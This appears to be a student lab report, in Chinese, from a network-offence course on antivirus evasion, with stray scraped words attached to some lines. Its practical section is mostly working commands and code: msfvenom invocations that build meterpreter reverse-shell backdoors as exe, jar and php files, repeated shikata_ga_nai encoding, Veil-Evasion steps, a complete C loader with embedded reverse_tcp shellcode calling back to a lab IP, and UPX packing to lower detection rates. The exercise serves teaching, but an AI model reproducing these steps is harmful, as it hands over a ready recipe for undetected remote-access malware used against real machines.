20155333 《網絡對抗》Exp3 免殺原理與實踐

20155333 《網絡對抗》Exp3 免殺原理與實踐

基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?php

  • 基於特徵碼的檢測;
  • 啓發式惡意軟件檢測;
  • 基於行爲的惡意軟件檢測。

(2)免殺是作什麼?java

通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。也是滲透測試中須要使用到的技術。shell

(3)免殺的基本方法有哪些?編程

  • 加殼:壓縮殼 加密殼;
  • 用其餘語言進行重寫再編譯(veil-evasion);
  • 基於payload從新編譯生成可執行文件;
  • 改變行爲。

實踐

1、正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧;windows

(1)正確使用msf編碼器網絡

把實驗二中生成的後門程序更名爲「backdoor.exe」後放到virscan網站中掃描結果以下tcp

用msf編碼器對後門程序進行一次到屢次的編碼,看可否下降檢出率工具

  • 編碼一次:
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.199.170 LPORT=5333 -f exe > backdoor.exe

  • 編碼十次:
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.199.170 LPORT=5333 -f exe > backdoor0.exe

2)msfvenom生成jar文件測試

生成Java後門程序:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.170 lport=5333 x> backdoor_java.jar網站

(3)msfvenom生成php文件

生成PHP後門程序:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.170 lport=5333 x> backdoor.php

4)msfvenom生成shellcode

生成shellcode:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.199.170 lport=5333 -f c

(5)veil-evasion

拷貝老師的虛擬機,輸入命令:veil,啓用veil;接着在veil中輸入命令:use evasion,進入veil-evasion

輸入命令:use c/meterpreter/rev_tcp.py

設置反彈鏈接IP,命令爲:set LHOST 192.168.199.194,注意此處的IP是KaliIP;

設置端口,命令爲:set LPORT 5333

輸入generate生成文件,接着輸入playload名:playload5333

在/var/lib/veil/output/compiled/playload5333.exe這個路徑下找咱們生成的exe文件,用virscan掃描結果以下:

(6)C語言調用Shellcode版本
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.194 LPORT=5333 -f c用c語言生成一段shellcode;

建立一個文件20155333.c,而後將unsigned char buf[]賦值到其中,代碼以下:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xd9\x82"
"\x68\x02\x00\x14\xc0\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

使用命令:i686-w64-mingw32-g++ 20155333.c -o 20155333.exe編譯這個.c文件爲可執行文件:

掃描結果以下:

在kali上測試其是否可用:

windows下掃描結果以下:

使用UPX對生成的後門程序加殼:

掃描結果以下:

離實戰還缺些什麼技術或步驟?

感受本身如今只是能按照老師所給的實驗指導,在儘可能不出錯的狀況下基本完成實驗內容,距離實戰同時具備知識及技術上的不足,須要對殺毒軟件的原理及免殺技術具備更深刻的瞭解,而且經過必定的練習來掌握這些,纔能有能力接觸實戰。

實驗總結及體會

我所使用的殺毒軟件電腦管家在本次實驗過程當中居然一次也沒有沒有發現病毒,看來確實須要換一款殺毒軟件了。

相關文章
相關標籤/搜索